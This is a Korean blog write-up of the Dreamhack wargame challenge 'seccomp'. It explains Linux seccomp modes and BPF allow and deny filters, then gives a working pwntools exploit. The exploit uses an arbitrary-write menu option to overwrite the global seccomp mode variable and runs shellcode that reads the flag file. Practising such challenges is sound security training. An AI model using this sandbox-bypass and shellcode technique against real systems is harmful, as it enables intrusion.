security/포너블 - dreamhack

[Dreamhack Wargame] seccomp

민사민서 2023. 6. 18. 23:02
int mode = SECCOMP_MODE_STRICT;
int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* 현재 아키텍쳐가 x86_64라면 다음 코드로 분기, 아니면 SECCOMP_RET_KILL 반환 후 종료 */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* 호출된 시스템 콜 번호 저장 */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        /* 아무런 필터가 없음 */
    };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    // SECCOMP_MODE_STRICT: only read, write, exit, sigreturn allowed
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}

Seccomp(secure computing mode)리눅스에서 sandbox 기반으로 시스템콜을 허용 및 차단하여 공격의 가능성을 막는 리눅스 보안 메커니즘이다

Berkeley Packet Filter (BPF) 필터식과  prctl() 함수를 사용해 SECCOMP 적용 가능하다

 

prctl()로 SECCOMP 적용하는 두 가지 방법

1. SECCOMP_MODE_STRICT 모드 (매크로 값 1)

prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)

허용되는 시스템콜을 read(2), write(2), _exit(2), sigreturn(2)(but not exit_group(2))로 제한한다

그 이외의 syscall에 대해서는 SIGKILL을 발생시킨다

&prog (세번째 인자) 무시된다

 

2. SECCOMP_MODE_FILTER 모드 (매크로 값 2)

prctl(PR_SET_NO_NEW_PRIVS, 1);
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, args);
struct sock_fprog {
	unsigned short      len;    /* Number of BPF instructions */
	struct sock_filter *filter; /* Pointer to array of BPF instructions */
};

해당 모드를 위해 쓰레드의 no_new_privs 비트가 설정되어있어야 한다

SECCOMP 필터를 위해 sock_fprog 구조체를 건네주어야 한다

  struct sock_filter filter[] = {
	// 생략
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      ALLOW_SYSCALL(open),
      ALLOW_SYSCALL(read),
      ALLOW_SYSCALL(write),
      ALLOW_SYSCALL(exit),
      KILL_PROCESS,
  };

이런 식으로 ALLOW_SYSCALL 매크로를 호출해 allow list 필터를 걸거나

  struct sock_filter filter[] = {
	// 생략
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      MAINTAIN_PROCESS,
  };

이런 식으로 DENY_SYSCALL 매크로를 호출해 deny list 필터를 걸어야되는데

이번 문제의 filter[] 에서는 아무런 필터가 안걸려있다.

- mode를 SECCOMP_MODE_FILTER로 바꿔 빈껍데기 필터를 적용시키거나

- 아예 3 이상의 값으로 바꿔 prctl() 호출을 실패하게 만들면 되겠지

 

main 함수 코드 일부:

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) exit(0);
                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024); // RWX
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
            	// 원하는 8바이트에 원하는 값 입력 가능
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
   }

 

 1. 만약 A<0x40000000 검증이 없었다면

x32 ABI를 이용한 syscall 방식으로 우회를 해버리면 그만이었지만

payload = shellcraft.open('./flag').replace('pop rax', 'pop rax\n or rax, 0x40000000')
=> 실패함...

2. 3번 옵션 딱봐도 수상함 => 전역변수 mode를 덮어쓰자 (1이 아닌 값으로)

- 플래그 값 읽어올 DATA 영역의 주소를 적당히 고른다

from pwn import *

context(os="linux", arch="amd64")
# p = process("./seccomp")
p = remote("host3.dreamhack.games", 16694)

mode_addr = 0x602090
writable_area = 0x602100
payload = shellcraft.open('./flag')
payload += shellcraft.read('rax', writable_area, 0xff) # 'rsp' 해도 동일하게 동작
payload += shellcraft.write(1, writable_area, 0xff)

p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode_addr))
p.sendlineafter("value: ", "2") # change it to SECCOMP_MODE_FILTER

p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", asm(payload))

p.sendlineafter("> ", "2")

p.interactive()